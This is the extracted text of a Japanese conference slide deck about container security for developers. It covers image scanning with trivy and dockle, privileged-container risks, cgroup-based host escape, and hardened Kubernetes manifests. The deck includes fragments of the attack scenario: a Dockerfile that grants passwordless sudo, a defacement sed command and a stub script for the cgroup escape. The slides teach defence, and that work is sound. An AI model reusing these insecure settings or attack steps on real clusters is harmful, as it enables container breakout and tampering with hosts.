| | CVE-2012-6711 | HIGH | | 4.3-1 | bash: heap-based buffer |

| | | | | | overflow during echo of |

| | | | | | unsupported characters |


+ +------------------+ + +------------------+--------------------------------------------------------------+

・

・

・

+---------------+------------------+ +-----------------------+------------------+--------------------------------------------------------------+

| openssl | CVE-2021-3711 | | 1.1.1d-0+deb10u6 | 1.1.1d-0+deb10u7 | openssl: SM2 Decryption |

| | | | | | Buffer Overflow |


+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+

$ dockle mochizuki875/training-website-poc:v1.0

2021-08-30T19:23:33.243+0900

INFO

Failed to check latest version. not found version patterns

FATAL

- DKL-DI-0001: Avoid sudo command

* Avoid sudo in container : RUN /bin/sh -c apt-get update && apt-get upgrade -y && DEBIAN_FRONTEND=noninteractive apt-get install -y apache2
&& a2enmod cgid && apt-get -y install libtinfo5 && apt-get -y install netcat && apt-get install -y sudo && groupadd wheel &&
usermod -aG wheel www-data && echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers && apt-get clean && rm -rf /var/lib/apt/lists/* # buildkit

WARN

- CIS-DI-0001: Create a user for the container

* Last user should not be root

INFO

- CIS-DI-0005: Enable Content trust for Docker

* export DOCKER_CONTENT_TRUST=1 before docker pull/build

INFO

- CIS-DI-0006: Add HEALTHCHECK instruction to the container image

* not found HEALTHCHECK statement

INFO

- CIS-DI-0008: Confirm safety of setuid/setgid files

* setuid file: urwxr-xr-x bin/ping

* setuid file: urwxr-xr-x usr/bin/passwd

* setuid file: urwxr-xr-x usr/bin/sudo

* setgid file: grwxr-xr-x usr/bin/expiry

* setgid file: grwxr-xr-x usr/bin/wall

* setgid file: grwxr-xr-x usr/bin/chage

* setuid file: urwxr-xr-x bin/umount

* setuid file: urwxr-xr-x bin/su

* setuid file: urwxr-xr-x usr/bin/gpasswd

* setgid file: grwxr-xr-x sbin/unix_chkpwd

* setuid file: urwxr-xr-x bin/mount

* setuid file: urwxr-xr-x usr/bin/newgrp

* setuid file: urwxr-xr-x usr/bin/chfn

* setuid file: urwxr-xr-x usr/bin/chsh
dockleを用いてイメージをスキャンすることで、設定上のセキュリティリスクを検知することができます。
今回の攻撃例においてコンテナ侵入後に特権昇格に用いられたsudoコマンドに関する警告が検知されている
ことが分かります。

（参考）イメージスキャンの継続的な実施
時間の経過とともにコンテナイメージに含まれる脆弱性が明らかになってくるケースもあるため、
脆弱性スキャンは1度だけ行うのではなく継続的に行うことも重要になってきます。
今回はスキャンツールを単体で利用していますが、イメージスキャンをCIツールやECRなどレジストリに統合して用いることで、
継続的にイメージの脆弱性スキャンを行うケースもよく見受けられます。

No 対策詳細
1 信頼できるイメージを利用する
信頼できないイメージには、脆弱性やAttack Surfaceになり得るパッケージ、
マルウェア、危険な設定などあらゆるセキュリティリスクが含まれている可能性が
あるため、公式イメージを用いるか、scratchでイメージを作成すべき。
2 イメージを小さくする
一般的にイメージ容量が大きいということはイメージにセキュリティリスクを含む可能性も
高くなるため、可能な限りイメージを小さくすべき。
3 イメージをスキャンする
意図せぬ脆弱性や設定不備の混入を防止するためにイメージのスキャンを行う。
時間経過と共に発生した脆弱性に対応するためスキャンは継続的に行う。
※ただしツールを用いることで全てのセキュリティリスクを取り除けるわけではないため
1,2を踏まえた上で補助的な役割としてツールを活用すべき。
セキュリティ対策まとめ

Container Host
OS
process A
process B
process C
process D
コンテナとして起動するプロセス
コンテナはあくまでOS上で実行される1プロセスに過ぎません。
rootfs(/)
3.3. コンテナセキュリティの考え方 -コンテナ-
基本
原則

Container Host
OS
process A
rootfs(/)
process B
process C
rootfs(/)
process D
Container
Isolation
Namespace：プロセスの実行空間を隔離
pivot_root + OverlayFS：rootfsを隔離
Limitation
cgroup：リソースを制限
Restriction
Capability：プロセスの権限範囲を制限
Seccomp：システムコールを制限
MAC（AppArmor/SELinux）：ファイルアクセスを制限
ReadOnlyMount：重要なファイルシステム（/procや/sys等）をROでマウント
etc
一般的なプロセスとコンテナの違いは、コンテナとして実行されるプロセスはLinuxカーネルの持つ様々な仕組みを使って
他のプロセスから隔離されている点です。
基本
原則

Container Host
Container Host
process
Container A
process
Container B
コンテナとしての隔離性が高い状態コンテナとしての隔離性が低い状態
コンテナ内で動くプロセスの動作が
ホストに影響しない
コンテナ内で動くプロセスの一部の
動作がホストに影響してしまう
コンテナの隔離性を維持する
基本
原則
＜＜セキュリティリスク＜＜
小大

Kubernetes Manifestではコンテナに対する様々な起動設定を定義できますが、
この設定によりコンテナの隔離性を強めることも弱めることもできます。
これらを適切に行うことが、コンテナレイヤにおけるセキュリティ確保に繋がります。
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
name: ubuntu
spec:
containers:
- image: ubuntu:20.04
name: ubuntu-sec
command: ["/bin/sh", "-c", "while :; do sleep 10; done"]
resources:
limits:
cpu: "500m"
memory: "128Mi"
securityContext:
readOnlyRootFilesystem: true
volumeMounts:
- mountPath: /tmp
name: hostpath-sample
volumes:
- name: hostpath-sample
hostPath:
path: /tmp
k8s manifestの例
使用可能リソースを制限することで隔離性向上
コンテナのrootfsへの書き込みを禁止することで隔離性向上
※コンテナのrootfsの実態はコンテナホスト上のOverlayfs
コンテナホストのディレクトリをバインドマウントしており隔離性低下
基本
原則

隔離性を高めるための設定
不要な権限を付与しないリソースの制限
ホストのディレクトリをマウントしないコンテナ内での変更を禁止
カーネルに対する操作の制限
基本
原則

今回攻撃が成立してしまったケースにおいて、開発者が用意したコンテナ起動設定（Kubernetes Manifest）がどうだったか
見てみましょう。
Kubernetes Manifestを見てみると、コンテナに特権を付与していることが分かります。
apiVersion: v1
kind: Pod
metadata:
labels:
run: web
name: web
spec:
containers:
- image: mochizuki875/training-website-poc:v1.0
name: web
securityContext:
privileged: true
今回コンテナの起動に利用したのKubernetes Manifest
（web-insecure-pod.yml）
コンテナに特権を与えている
3.3. コンテナセキュリティの考え方 -コンテナ- リスク

コンテナを特権で動作させるということはコンテナプロセスにホストの特権ユーザー（root）と同等の権限を持たせることになり、
コンテナの隔離性を低下させることに繋がります。
Container Host
OS
process A
rootfs(/)
process B
process C
rootfs(/)
process D
Container
Isolation
Namespace：プロセスの実行空間を隔離
pivot_root + OverlayFS：rootfsを隔離
Limitation
cgroup：リソースを制限
Restriction
Capability：プロセスの権限範囲を制限
Seccomp：システムコールを制限
MAC（AppArmor/SELinux）：ファイルアクセスを制限
ReadOnlyMount：重要なファイルシステム（/procや/sys等）をROでマウント
etc
Privileged
ホストの特権ユーザーと
同等の権限

mount ¦ grep cgroup
（略）
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)
（略）
（特権コンテナ）
今回のケースでは特権を与えたことによりcgroupへのアクセス権がRWに設定されました
今回の攻撃事例ではコンテナに特権を付与したことで、
本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。
これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることが
できてしまいました。
mount ¦ grep cgroup
（略）
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
（略）
（非特権コンテナ）
通常コンテナではcgroupへのアクセス権はROに設定されます

・
・
・
本来コンテナからは許可されていない
cgroupの操作を通じたプログラムの実行
mkdir: cannot create directory '/sys/fs/cgroup/rdma/x': Read-only
fi
le system
（非特権コンテナ）
cgroupへのアクセス権がROなのでcgroupの作成が許可されていない
（特権コンテナ）
cgroupへのアクセス権がRWに設定されておりcgroupの作成や設定変更が可能
今回の攻撃事例ではコンテナに特権を付与したことで、
本来コンテナの仕組み上ReadOnlyが設定されるべきcgroupへの書き込みが可能な状態となっていました。
これによりcgroupをコンテナ内から操作して、ホスト上で任意のプログラムを実行するという攻撃に繋げることが
できてしまいました。
リスク

また、今回の例では侵入したコンテナ内でファイルの編集や新規作成を実行できたことも、
攻撃が成立した要因であったと言えます。
sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/danger.html/' /var/www/html/index.html
Webコンテンツの改竄（シナリオ①）
cat <<EOF > /cmd
#!/bin/sh
EOF
# chmod +x /cmd
不正なプログラムの作成（シナリオ②）

攻撃事例の中でも説明した通りコンテナのrootfsの実態はコンテナホスト上のOverlayfsであり、
コンテナ内でのrootfsに対する変更差分はUpperdirと呼ばれるホスト上の特定ディレクトリに反映されます。
（悪意のあるファイルをコンテナからコンテナホスト上に配置できてしまう事になる）
したがって、コンテナ内でファイルの編集や新規作成が行えるということはコンテナの隔離性が低い状態であることを意味し、
セキュリティリスクになり得ると言えます。
※Kubernetesにおいてデフォルトでは、コンテナ内のrootfsへのアクセス権がRWになっています。
Container Host
OS
rootfs(/)
process
Container
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
コンテナrootfsの実態
コンテナ内で作成したファイルの実態
はコンテナホスト上に存在
File

代表的なコンテナのセキュリティリスクに対処するためのプラクティス
■概念
- 4.4 コンテナの対策
- 4.5 ホストの対策）
fi
les/000085279.pdf
■具体的な設定
Pod Security Standards
https://kubernetes.io/docs/concepts/security/pod-security-standards/
NSA CISA Kubernetes Hardening Guidance （Kubernetes Pod security ）
https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF
3.3. コンテナセキュリティの考え方 -コンテナ- 対策

Kubernetesでコンテナをデプロイする際は、デフォルトでコンテナプロセスに対する制限が行われます。
そのため特に設定を行わずとも最低限*の隔離性を担保することができます。
今回の例では以下のようにデフォルト設定でコンテナを起動していれば、
コンテナからホストに対してコマンドを実行されることを防ぐことができました。
apiVersion: v1
kind: Pod
metadata:
labels:
run: web
name: web
spec:
containers:
name: web
今回コンテナの起動に利用したのKubernetes Manifest
（web-default-pod.yml）
コンテナに不要な設定を行わない
*Kubernetes Pod Security StandardsにおけるBaseline相当
不要な設定を行わない

デフォルトの設定に対して適切な設定を行うことでコンテナの隔離性を向上させ、
セキュリティレベルを高めることができます。
※具体的な設定値の一覧については先に示したプラクティスをご参照ください。
apiVersion: v1
kind: Pod
metadata:
labels:
run: web-secure
name: web-secure
spec:
securityContext:
seccompPro
fi
le:
type: RuntimeDefault
automountServiceAccountToken: false
containers:
name: web
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- all
add:
- CHOWN
- SETUID
- SETGID
- NET_BIND_SERVICE
resources:
limits:
cpu: "500m"
memory: "128Mi"
volumeMounts:
- name: log-volume
mountPath: /usr/local/apache2/logs/
volumes:
- name: log-volume
emptyDir: {}
・・・①
・・・②
・・・③
・・・④
・・・⑤
・・・④
[隔離性をより高める設定の例]
① seccompによるシステムコールの制限
② ServiceAccountをマウントしない
③ 特権昇格の禁止
④ rootfsへの書き込み禁止
⑤ Capabilityの剥奪・必要最小限の付与
⑥ リソース使用量を制限
隔離性をより高める設定
セキュリティ対策を施したKubernetes Manifest
（web-secure-pod.yml）
※特に今回の攻撃に関連する対策は青字で表記しています。
・・・⑥
対策

コンテナの隔離性をより高める設定の代表的な項目の1つとして、
コンテナの実行ユーザーをrootとせず非rootとすべきといった内容が挙げられます。
※コンテナイメージ、Kubernetes Manifestで特に指定しない場合はrootでコンテナが起動される
FROM ubuntu:20.04
CMD ["/bin/sh", "-c", "while :; do sleep 10; done"]
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
name: ubuntu-root
spec:
containers:
- image: mochizuki875/ubuntu:20.04-root
name: ubuntu-root
FROM ubuntu:20.04
RUN useradd -m -u 1000 user01
USER user01
WORKDIR /home/user01
CMD ["/bin/sh", "-c", "while :; do sleep 10; done"]
apiVersion: v1
kind: Pod
metadata:
labels:
run: ubuntu
name: ubuntu-user01
spec:
containers:
- image: mochizuki875/ubuntu:20.04-runas
name: ubuntu-user01
securityContext:
runAsUser: 1000
runAsGroup: 1000
runAsNonRoot: true
Docker
fi
le（root）
Manifest（root）
Docker
fi
le（非root）
Manifest（非root）
コンテナ実行ユーザーを指定
コンテナ実行ユーザー（UID）を指定
加えてrootでの実行を禁止
コンテナの実行ユーザーについて（隔離性を高める設定の1つ）

# ps auxf
（略）
root 2298580 0.0 0.1 713320 11724 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id
86222752d6436332b01df7532206388e04bb0e404740de58e
root 2298607 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause
root 2298704 0.0 0.0 2608 1660 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done
root 2302816 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10
（略）
root 2298350 0.0 0.1 713320 11960 ? Sl 17:03 0:00 /usr/bin/containerd-shim-runc-v2 -namespace k8s.io -id
0721217fc08a655c528a93581b7a35cadf9bf97cc82aea319
root 2298375 0.0 0.0 964 4 ? Ss 17:03 0:00 _ /pause
user01 2298414 0.0 0.0 2608 1756 ? Ss 17:03 0:00 _ /bin/sh -c while :; do sleep 10; done
user01 2302835 0.0 0.0 2508 592 ? S 17:14 0:00 _ sleep 10
（略）
# kubectl get po
NAME READY STATUS RESTARTS AGE
ubuntu-root 1/1 Running 0 15m
ubuntu-user01 1/1 Running 0 16m
rootで実行したコンテナのプロセス
（ubuntu-root）
非rootで実行したコンテナのプロセス
（ubuntu-user01）
これは、コンテナとコンテナホスト上でのコンテナプロセスの実行ユーザーがイコールになることにより、
rootユーザーで実行したコンテナがコンテナホスト上でrootプロセスとして実行されることになるためです。
（権限隔離の観点でコンテナの隔離性を損なう）
コンテナ起動状況
コンテナホスト上でのプロセス確認
実際にコンテナを起動させ、コンテナホスト上でプロセスの実行ユーザーを確認すると、
確かにコンテナの実行ユーザーとプロセスの実行ユーザーが一致していることが分かります。
※これは2021年11月現在、コンテナとホストのUser Namespaceが共通であるという仕組みによるもの

ただし前述の通り、コンテナはCapabilityをはじめとしたカーネルの仕組みにより、
たとえrootで実行したとしても権限が制限されます。（基本的にroot実行しても害はない）
しかしコンテナランタイムの脆弱性（CVE-2019-5736）等により権限を制限しきれないケースも発生し得ます。
そうなった場合、コンテナの隔離性を維持しきれずContainer Breakout等に繋がるリスクになるため
基本的にコンテナは非rootで実行すべきです。
（補足）今回の例における実行ユーザーの考え方
今回Webサーバーとして使用したhttpdの場合は親プロセスのみがrootで起動し、ワーカープロセスは非rootユーザー（daemon）で実行されるため
コンテナをrootで起動させるリスクについては受容した。
※nginxやhttpdをはじめとしたWebサーバーの公式イメージではコンテナポートとして特権ポート（80 ポート）を使用する理由から、root実行を前提とするものが多い
# kubectl exec -it web-secure -- /bin/sh
/usr/local/apache2 # ps aux
PID USER TIME COMMAND
1 root 2:37 httpd -DFOREGROUND
10 daemon 0:00 httpd -DFOREGROUND
・・・
Workerプロセスは非rootで実行される
httpdコンテナのプロセス実行ユーザー確認

近年Linux Namespaceの内、User Namespaceをコンテナとホストで分離することで、
コンテナをrootで実行してもコンテナホスト上ではコンテナプロセスが非特権ユーザーで
実行されるようにする仕組みが検討されています。
※現在はコンテナとコンテナホストでUser Namespaceが共通であるためコンテナとプロセスの実行ユーザーが同じ
Support node-level user namespace remapping
https://github.com/kubernetes/enhancements/issues/127
（参考）rootlessコンテナ

イメージの場合と同様、いくらセキュリティを意識してコンテナ起動設定を作成したとしても、
意図せず危険な設定を含んでしまう可能性はあります。
Kubernetes Manifestについてもセキュリティリスクを評価するためのスキャンツールが存在します。
■代表的なKubernetes Manifestスキャンツール
・Kubernetes Manifestに含まれるセキュリティ
リスクを検知できる
・マニフェストの自動修正が可能
・稼働中のPodに対するスキャンが可能
https://github.com/controlplaneio/kubesec https://github.com/Shopify/kubeaudit
・Kubernetes Manifestの設定項目をスコア付して
セキュリティリスクを評価する
・CLI以外にHTTPサーバーとしてスキャン機能を
提供することが可能
kubeaudit ☁ 🔒 💪
Kubesec
マニフェストをスキャンする
※ここでは代表的なOSSのイメージスキャンツールを例として示していますがこれが正解という意図ではありません。
またクラスタレイヤの話になりますが、適用可能な設定をOPAなどポリシーを用いて制御するといった手段も考えられます。

Kubesecを用いてKubernetes Manifestをスキャンすることで、以下のようにコンテナ起動設定の評価を行うことができます。
今回の攻撃の主要因となったPrivileged設定がCriticalで検知されている他、
隔離性を高めるための推奨設定がadviseとして検知されていることが分かります。
$ kubesec scan web-insecure-pod.yml
[
{
"object": "Pod/web-insecure.default",
"valid": true,
"
fi
leName": "web-insecure-pod.yml",
"message": "Failed with a score of -30 points",
"score": -30,
"scoring": {
"critical": [
{
"id": "Privileged",
"selector": "containers[] .securityContext .privileged == true",
"reason": "Privileged containers can allow almost completely unrestricted host access",
"points": -30
}
],
"advise": [
{
"id": "ApparmorAny",
"selector": ".metadata .annotations ."container.apparmor.security.beta.kubernetes.io/nginx"",
"reason": "Well de
fi
ned AppArmor policies may provide greater protection from unknown threats. WARNING: NOT PRODUCTION READY",
"points": 3
},
・
・
・
{

"id": "ReadOnlyRootFilesystem",

"selector": "containers[] .securityContext .readOnlyRootFilesystem == true",

"reason": "An immutable root filesystem can prevent malicious binaries being added to PATH and increase attack cost",

"points": 1

},

No 対策詳細
1 不要な設定を行わない
Kubernetesでは特に設定を行わなくても最低限の隔離性は担保される
※特に意味を理解せず設定を追加するとコンテナの隔離性を低下させる恐れがある
2 より隔離性を高める設定
プラクティスを参考により隔離性を高めるための設定を追加する
コンテナの実行ユーザーを非rootに設定する
3 起動設定のスキャン隔離性を低下させる危険な設定がないかツールを用いて確認する
セキュリティ対策まとめ

PodSecurity Admission
KubernetesのPod Security Standerdに準拠したPodのみデプロイを許可する機能。
Kubernetes v1.22時点でalpha機能として実装された。
https://kubernetes.io/docs/concepts/security/pod-security-admission/
kubescape
稼働中のPodがNSA CISA Kubernetes Hardening Guidanceの項目に準拠しているかを検査するツール。
https://github.com/armosec/kubescape
その他にも最近開発が進んでいるコンテナの隔離性確保を補助するツールとして以下のものがあります。
（参考）

開発者目線で意識すべきコンテナセキュリテリスク
・リスクを実感するために攻撃のモデルケースを用いて具体化してご説明しました
開発者目線で意識すべきコンテナセキュリティ対策の考え方
・攻撃事例をもとに各レイヤにおける対策の考え方を体系化しました
・イメージレイヤ：イメージに余分なものを含めない
・コンテナレイヤ：コンテナの隔離性を維持する
・今回示した考え方をベースに具体的にどのようなツールをどう用いて対策するか考える
※具体的対策についてはプラクティスを参照してください
コンテナセキュリティを意識するきっかけ作りとしての位置付け

・本日の内容が皆様がコンテナセキュリティを意識し考える上での一助となれば幸いです
4.まとめ

opsxcq/exploit-CVE-2014-6271
※今回の攻撃シナリオ①は一部こちらを参考にさせて頂いています
https://github.com/opsxcq/exploit-CVE-2014-6271
Container Security Book
※今回の攻撃シナリオ②は一部こちらを参考にさせて頂いています
https://container-security.dev/security/breakout-to-host.html
Docker/Kubernetes 開発・運用のためのセキュリティ実践ガイド
https://book.mynavi.jp/ec/products/detail/id=114099
コンテナ技術入門 - 仮想化との違いを知り、要素技術を触って学ぼう
https://eh-career.com/engineerhub/entry/2019/02/05/103000
参考

引き続き
楽しんで行きましょう！

乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to 乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）

Similar to 乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料） (20)

More from NTT DATA Technology & Innovation

More from NTT DATA Technology & Innovation (20)

乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）